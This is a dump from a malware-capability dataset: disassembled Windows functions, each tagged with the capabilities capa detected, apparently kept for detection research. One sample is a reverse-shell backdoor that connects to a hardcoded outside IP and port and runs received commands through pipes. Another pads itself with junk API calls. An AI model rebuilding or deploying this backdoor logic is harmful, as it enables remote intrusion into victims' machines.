joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41edb8
Capabilities:
Get session user name

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
mov ebx, edx
mov edi, ecx
call dword [0x42c084]
test edi, edi
je 0x41eed6
mov ecx, edi
call fcn.0041bf7c
test eax, eax
je 0x41eed6
cmp dword [ebp + 0x14], 1
jne 0x41ee1c
test ebx, ebx
je 0x41ee00
cmp dword [ebp + 8], 2
jb 0x41ee00
cmp dword [ebp + 0xc], 0
je 0x41ee00
cmp dword [ebp + 0x10], 2
jae 0x41ee1c
call dword [0x42c08c]
test eax, eax
jne 0x41ee12
push 0x57
call dword [0x42c084]
call fcn.0041b266
jmp 0x41ef1c
mov ecx, edi
mov esi, edi
call fcn.0041e638
cmp eax, 1
jne 0x41ee2d
lea esi, [edi + 4]
cmp dword [ebp + 0x14], 1
jne 0x41ee5f
cmp dword [ebp + 0xc], 0
je 0x41ee5f
mov ecx, dword [ebp + 0xc]
mov edx, 0x40229c
push 0
push 1
call fcn.0041bf8b
test eax, eax
jne 0x41ee5f
mov ecx, esi
call fcn.0041e7d7
test eax, eax
jne 0x41ef46
jmp 0x41ee12
xor eax, eax
mov ecx, esi
mov dword [ebp - 4], eax
call fcn.0041e7d7
test eax, eax
je 0x41ee12
test ebx, ebx
je 0x41eea2
push ebx
call dword [0x42c198]
test eax, eax
je 0x41eea2
mov eax, dword [ebp + 0x14]
mov edx, ebx
neg eax
push ecx
sbb eax, eax
mov ecx, edi
not eax
and eax, dword [ebp + 0xc]
push eax
call fcn.0041eb77
cmp dword [ebp + 0x14], 1
mov esi, eax
jne 0x41eeb6
xor eax, eax
inc eax
jmp 0x41eeb9
xor eax, eax
xor edx, edx
push ecx
inc eax
mov ecx, edi
push 0
mov dword [ebp - 4], eax
call fcn.0041eb77
mov esi, eax
mov eax, dword [ebp - 4]
cmp esi, 0x55
je 0x41eec7
test esi, esi
jne 0x41eee0
cmp eax, 1
jne 0x41eece
push 0x50010001
jmp 0x41eed0
push 0
call dword [0x42c084]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10
mov eax, 0x4c3
cmp esi, eax
ja 0x41ef20
je 0x41f003
cmp esi, 0x34
je 0x41ef05
cmp esi, 0x56
je 0x41ef40
cmp esi, 0x4be
jne 0x41ee12
push 0x4c6
call dword [0x42c084]
call fcn.0041b266
push esi
call dword [0x42c084]
xor eax, eax
jmp 0x41eed9
cmp esi, 0x4cf
jb 0x41ee12
cmp esi, 0x4d1
jbe 0x41ef05
cmp esi, 0x52e
jne 0x41efdf
cmp dword [ebp + 0x14], 0
je 0x41ef1c
push ebx
call dword [0x42c198]
test eax, eax
jne 0x41ef66
lea eax, [ebp + 8]
push eax
push ebx
push 2
call dword [sym.imp.SspiCli.dll_GetUserNameExW]
test al, al
je 0x41ee12
push ebx
mov ecx, 0x157d
call fcn.0041b556
push eax
push 1
push 1
push 1
call fcn.00420b3b
pop ecx
push eax
call fcn.0041c26c
mov edx, dword [ebp + 0x10]
add esp, 0x14
mov ecx, dword [ebp + 0xc]
call fcn.0041c481
push ecx
push dword [ebp + 0xc]
mov edx, ebx
mov ecx, edi
call fcn.0041eb77
mov esi, eax
test esi, esi
je 0x41eed6
cmp esi, 0x34
je 0x41ef05
cmp esi, 0x4be
je 0x41ef05
mov eax, 0x4c3
cmp esi, eax
je 0x41f003
cmp esi, 0x4ce
jbe 0x41ee12
cmp esi, 0x4d1
jbe 0x41ef05
mov edi, 0xa0010001
cmp esi, edi
jne 0x41ee12
mov ecx, 0x157e
call fcn.0041b556
mov ecx, eax
call fcn.0041b17e
push edi
jmp 0x41eed0
push eax
jmp 0x41eed0
Function at 0x420714
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x424768
call fcn.004209d8
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x420774
cmp eax, 0xffffffff
je 0x420774
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x42076d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x42076d
cmp edx, 0x10000000
jae 0x42076d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x42076a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4207e0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x42081e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x420816
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x420820
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x420806
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4208f0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x420921
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x420921
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x420921
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430000
Capabilities:
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x40
lea eax, [esp + 0x44]
lea ecx, [esp]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
push esi
mov esi, dword [esp + 0x50]
push edi
push 0
push eax
push 0x40
push ecx
push esi
call ebx
test eax, eax
je 0x430175
cmp dword [esp + 0x54], 0x40
jne 0x430175
cmp word [esp + 0x10], 0x5a4d
jne 0x430175
mov edx, dword [esp + 0x4c]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push edx
push esi
call ebp
cmp eax, 0xffffffff
je 0x430175
lea eax, [esp + 0x54]
push 0
push eax
push 0xf8
push 0x436960
push esi
call ebx
test eax, eax
je 0x430175
cmp dword [esp + 0x54], 0xf8
jne 0x430175
cmp dword [0x436960], 0x4550
jne 0x430175
mov eax, dword [0x436976]
test ah, 0x20
jne 0x430175
mov edx, dword [0x436a80]
xor eax, eax
mov ax, word [0x436966]
add eax, edx
lea eax, [eax + eax*4]
shl eax, 3
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [0x436a58], eax
je 0x430175
push 1
push 0
push 0
push esi
call ebp
mov dword [0x436a6c], eax
xor eax, eax
mov ax, word [0x436966]
mov edx, dword [0x436a58]
lea ecx, [esp + 0x54]
push 0
lea edi, [eax + eax*4]
push ecx
shl edi, 3
push edi
push edx
push esi
call ebx
test eax, eax
je 0x430175
cmp dword [esp + 0x54], edi
jne 0x430175
push 1
push 0
push 0
push esi
call ebp
mov ecx, dword [0x436a80]
lea ecx, [ecx + ecx*4]
lea edx, [eax + ecx*8]
mov eax, dword [0x4369b4]
cmp edx, eax
ja 0x430175
mov edi, dword [0x436a58]
mov ecx, dword [0x436988]
mov eax, dword [edi + 0x10]
mov edx, dword [edi + 0xc]
add eax, edx
cmp ecx, eax
jae 0x430175
xor eax, eax
push 2
mov ax, word [0x436966]
push 0
push 0
push esi
lea ecx, [eax + eax*4]
mov ebx, dword [edi + ecx*8 - 0x18]
lea edi, [edi + ecx*8]
call ebp
mov edx, dword [edi - 0x14]
add edx, ebx
cmp eax, edx
jne 0x430175
cmp dword [edi - 0x20], ebx
ja 0x430175
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x40
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret
Function at 0x432769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x436190
cmp edx, dword [eax]
je 0x43278b
add eax, 8
inc ecx
cmp eax, 0x436220
jl 0x43277c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x436190]
jne 0x4328b9
mov eax, dword [0x436bb0]
cmp eax, 1
je 0x432893
test eax, eax
jne 0x4327bc
cmp dword [0x4360e4], 1
je 0x432893
cmp edx, 0xfc
je 0x4328b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4327f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00433670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00433490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x432836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00433490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x43545c
push edi
call fcn.00433f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00433670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00433680
lea eax, [ebp - 0xa0]
push 0x43543c
push eax
call fcn.00433680
push dword [esi + 0x436194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00433680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00433e75
add esp, 0x2c
pop edi
jmp 0x4328b9
lea eax, [ebp + 8]
lea esi, [esi + 0x436194]
push 0
push eax
push dword [esi]
call fcn.00433490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401730
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp + 0xc]
sub esp, 0x14
mov dword [esp], 2
call fcn.004024c0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004024c0
mov edx, dword [ebp + 8]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401790
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x3c
mov esi, dword [0x40706c]
test esi, esi
jle 0x4018b0
mov eax, dword [0x407070]
xor ecx, ecx
add eax, 0xc
lea esi, cs:[esi]
mov edx, dword [eax]
cmp ebx, edx
jb 0x4017cc
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40184d
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4017b8
mov dword [esp], ebx
call fcn.00402190
mov edi, eax
test eax, eax
je 0x4018d7
mov eax, dword [0x407070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.004022e0
mov edx, dword [0x407070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [ebp - 0x34]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4018b7
mov eax, dword [ebp - 0x20]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401846
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401858
add dword [0x40706c], 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [ebp - 0x28]
cmove eax, edx
mov edx, dword [ebp - 0x34]
add ebx, dword [0x407070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401846
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401730
lea esi, [esi]
xor esi, esi
jmp 0x4017d6
mov eax, dword [0x407070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401730
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401730
lea esi, cs:[esi]
nop
Function at 0x402190
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4021b5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4021c0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4021b5
push ebp
movzx eax, word [ecx + 0x400014]
lea eax, [edx + eax + 0x18]
mov ebp, esp
push esi
movzx esi, word [ecx + 0x400006]
push ebx
mov ebx, dword [ebp + 8]
sub ebx, 0x400000
test si, si
je 0x402210
xor ecx, ecx
lea esi, [esi]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402206
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402212
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x4021f8
xor eax, eax
pop ebx
pop esi
pop ebp
ret

Function at 0x402590
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov word [ebp - 0x18], 2
mov dword [esp], str.157.245.130.176
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 0x115b
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x16], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x402600
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x402605
mov eax, 1
leave
ret

Function at 0x402608
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov word [ebp - 0xa], 0x31
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__chdir]
call eax
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov eax, dword [eax]
cmp eax, 2
jne 0x402640
mov byte [ebp - 0xa], 0x30
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov dword [eax], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
lea eax, [ebp - 0xa]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x402672
mov eax, 0xffffffff
jmp 0x402677
mov eax, 1
leave
ret

Function at 0x40267c
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov word [ebp - 0xa], 0x202
movzx eax, word [ebp - 0xa]
lea edx, [ebp - 0x1a0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x4026b1
mov eax, 0xffffffff
jmp 0x4026fd
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4026fa
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x402700
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
je 0x40277f
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
call eax
sub esp, 0xc
test eax, eax
je 0x40277f
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402ac8
test eax, eax
jne 0x402786
mov eax, 0xffffffff
jmp 0x40279f
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402f3c
leave
ret
Function at 0x4027a4
Capabilities:
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x2024
call fcn.00402470
sub esp, eax
call fcn.00401580
call fcn.0040267c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x402957
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402590
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402957
lea eax, [ebp - 0x2011]
mov edx, 0x2001
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2011]
mov dword [esp], eax
call fcn.00402e10
test eax, eax
jle 0x402953
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x2011]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x2000
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jle 0x402956
movzx eax, byte [ebp - 0x2011]
movsx eax, al
sub eax, 0x30
cmp eax, 6
ja case.default.0x4028c8
mov eax, dword [eax*4 + 0x405058]
jmp eax
lea eax, [ebp - 0x2011]
add eax, 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402700
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
lea eax, [ebp - 0x2011]
add eax, 1
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402608
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
mov eax, 0
jmp 0x40296d
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402978
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402e74
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
mov dword [ebp - 0xc], 0
nop
cmp dword [ebp - 0xc], 0
jg 0x40283e
jmp 0x402957
nop
jmp 0x402957
nop
mov dword [esp], 0x1f40
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x4027c3
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401fb0
Capabilities:
Delete file

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fopen]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_fclose]
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fscanf]
mov dword [esp + 0x14], ecx
push 0x50a0a4
push str.C:input.txt
call ebx
add esp, 8
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0x50a090
push esi
call edi
add esp, 0xc
cmp eax, 0xffffffff
jne 0x401fde
push esi
call ebp
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
je 0x401fcd
push str.C:input.txt
call dword [sym.imp.MSVCRT.dll_remove]
mov esi, dword [esp + 0x14]
mov ecx, dword [0x50a04c]
push esi
push ecx
push 0x40404c
call fcn.00401ed0
mov edx, dword [0x50a04c]
mov ecx, dword [esp + 0x24]
add esp, 0x10
push esi
push edx
push 0x40404c
call fcn.00401f20
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x45d9e0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x45d9fe
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x45d9f3
pop esi
ret

Function at 0x45da00
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x40]
mov ecx, dword [esp + 0x28]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push 0x400
push esi
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
cmp eax, 0x3ff
jl 0x45da6a
push esi
lea edi, [eax + 0x400]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [esp + 0x38]
add esp, 8
mov esi, eax
mov eax, dword [esp + 0x24]
push ebx
push edi
push esi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
dec edi
cmp eax, edi
jge 0x45da3a
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x45da86
push ecx
push esi
call fcn.0045e910
add esp, 8
mov ebx, eax
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x45daf0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x45db82
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x45db74
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x45db6c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x45db35
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
Function at 0x40a700
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4263d4]
jne 0x40a70a
repz ret
jmp fcn.004108fc

Function at 0x4165ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4263d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040d59f
and dword [ebp - 0x14], 0
cmp dword [0x45dfac], 0
mov dword [ebp - 0x18], eax
jne 0x41665f
push 0x403804
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x416707
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4037f8
push ebx
call edi
test eax, eax
je 0x416707
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4037e8
push ebx
mov dword [0x45dfac], eax
call edi
push eax
call esi
push 0x4037d4
push ebx
mov dword [0x45dfb0], eax
call edi
push eax
call esi
push 0x4037b8
push ebx
mov dword [0x45dfb4], eax
call edi
push eax
call esi
mov dword [0x45dfbc], eax
test eax, eax
je 0x41665f
push 0x4037a0
push ebx
call edi
push eax
call esi
mov dword [0x45dfb8], eax
mov eax, dword [0x45dfb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4166b8
cmp dword [0x45dfbc], ecx
je 0x4166b8
push eax
call esi
push dword [0x45dfbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4166b8
test ebx, ebx
je 0x4166b8
call edi
test eax, eax
je 0x4166af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4166af
test byte [ebp - 8], 1
jne 0x4166b8
or dword [ebp + 0x10], 0x200000
jmp 0x4166eb
mov eax, dword [0x45dfb0]
cmp eax, dword [ebp - 0x18]
je 0x4166eb
push eax
call esi
test eax, eax
je 0x4166eb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4166eb
mov eax, dword [0x45dfb4]
cmp eax, dword [ebp - 0x18]
je 0x4166eb
push eax
call esi
test eax, eax
je 0x4166eb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45dfac]
call esi
test eax, eax
je 0x416707
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x416709
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a700
leave
ret
Function at 0x41e8a0
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1400
call fcn.0041da80
cmp dword [0x7fed30], 0x37
jne 0x41e931
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0x404410
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x404430
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
lea edx, [esp + 0xc04]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x7fed34]
mov edx, dword [0x7fb1a0]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1400
ret